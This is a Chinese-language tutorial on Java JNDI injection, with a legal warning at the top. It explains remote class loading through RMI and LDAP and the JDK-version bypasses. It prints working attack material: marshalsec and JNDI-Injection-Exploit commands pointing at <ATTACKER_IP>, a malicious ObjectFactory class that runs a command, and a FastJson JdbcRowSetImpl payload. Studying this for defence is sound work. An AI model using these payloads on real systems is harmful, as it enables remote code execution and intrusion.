警告:以下内容仅用于安全研究与授权测试,未经许可的攻击行为属于违法行为。
一、JNDI 注入核心原理
1.1 什么是 JNDI
JNDI(Java Naming and Directory Interface)是 Java 提供的一套统一 API,用于在命名/目录服务(如 RMI、LDAP、DNS 等)中查找和访问资源。它的核心操作是 InitialContext.lookup(String name),通过一个字符串名称来定位对象。
1.2 什么是 JNDI 注入
当应用程序对传入 lookup() 的 name 参数缺乏严格校验时,攻击者可以构造恶意的 JNDI 引用(如 rmi://attacker.com/evil 或 ldap://attacker.com/evil),诱使目标服务器从攻击者控制的服务器上加载并执行恶意类,从而实现远程代码执行(RCE)。
1.3 利用条件
- 可控参数 :
InitialContext.lookup()的参数可被用户输入控制。 - 服务支持:目标环境支持 RMI、LDAP 等 JNDI 服务实现。
- 版本限制:JDK 版本限制了攻击方式,详见后文"高版本绕过"。
二、JNDI 注入利用方式:RMI & LDAP
2.1 核心机制:Reference 与远程类加载
JNDI 的 Reference 类是实现注入的关键,它包含三个核心属性:
className:要加载的类名。classFactory:实例化工厂类名。classFactoryLocation:远程类的下载地址(如 HTTP 服务器)。
当目标服务器执行 lookup() 时,会根据 Reference 的信息,从指定地址下载并实例化恶意类。
2.2 利用工具:JNDI-Injection & marshalsec
2.2.1 JNDI-Injection-Exploit
快速生成恶意 JNDI 地址,直接执行系统命令。
bash
# 生成 RMI/LDAP 恶意地址,执行 calc.exe
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A <ATTACKER_IP>
输出示例:
[+] LDAP URL: ldap://<ATTACKER_IP>:1389/xxxxxx
[+] RMI URL: rmi://<ATTACKER_IP>:1099/xxxxxx
2.2.2 marshalsec
更灵活的工具,可启动恶意 RMI/LDAP 引用服务器,引导目标下载自定义恶意类。
-
编写恶意类:
java// Evil.java public class Evil implements javax.naming.spi.ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } } -
编译:
bashjavac Evil.java -
启动恶意 LDAP 服务器:
bash# 引导目标从 http://ATTACKER_IP/ 下载 Evil.class java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>/#Evil" -
启动恶意 RMI 服务器:
bashjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<ATTACKER_IP>/#Evil" -
触发注入:
java// 目标代码中存在可控的 lookup 调用 new InitialContext().lookup("ldap://<ATTACKER_IP>:1389/Evil");
三、实战案例:与 FastJson 反序列化结合
3.1 漏洞原理
FastJson 在反序列化时,会根据 JSON 中的 @type 字段实例化对应类。当 @type 指向 com.sun.rowset.JdbcRowSetImpl 时,其 setDataSourceName() 方法会调用 InitialContext.lookup(),从而触发 JNDI 注入。
3.2 攻击步骤
-
判断环境:构造畸形 JSON 触发报错,确认 FastJson 版本及是否存在反序列化漏洞。
-
生成恶意地址:使用 JNDI-Injection-Exploit 生成 RMI 地址。
-
构造 Payload :
json{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://<ATTACKER_IP>:1099/Evil", "autoCommit": true } -
提交 Payload:将 JSON 数据提交至目标,触发反序列化与 JNDI 注入,执行代码。
四、JDK 高版本注入绕过
4.1 JDK 版本限制
| JDK 版本 | 限制项 | 影响 |
|---|---|---|
| 6u45, 7u21+ | useCodebaseOnly=true |
RMI 禁用远程类加载 |
| 6u132, 7u122, 8u113+ | trustURLCodebase=false |
RMI/CORBA 禁用远程 Codebase |
| 6u211, 7u201, 8u191+ | ldap.object.trustURLCodebase=false |
LDAP 禁用远程 Codebase |
4.2 绕过思路
在高版本 JDK 中,直接远程加载类的方式被封堵,绕过方法主要有:
-
利用本地 Classpath 中的可利用类 :
寻找目标环境 Classpath 中已存在的、可被利用的类(如
org.apache.naming.factory.BeanFactory),通过Reference构造调用链,间接执行代码。 -
利用 LDAP 序列化对象 :
marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞(如 Commons Collections),则可以通过 LDAP 注入触发反序列化 RCE,无需远程加载类。
bash# marshalsec 启动 LDAP 服务器,直接返回序列化 payload java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer
五、总结与延伸
JNDI 注入作为 Java 生态中经典的 RCE 利用链,其核心在于利用 lookup() 对恶意引用的解析。从早期的 RMI/LDAP 远程类加载,到与 FastJson 等反序列化漏洞的结合,再到针对高版本 JDK 的绕过技术,其利用方式不断演进。深入理解其原理和绕过技巧,是掌握 Java 安全攻防的关键。
参考链接:
- https://blog.csdn.net/dupei/article/details/120534024
- https://www.mi1k7ea.com/2020/09/07/深入理解不同JDK版本的JNDI注入及绕过/
- https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html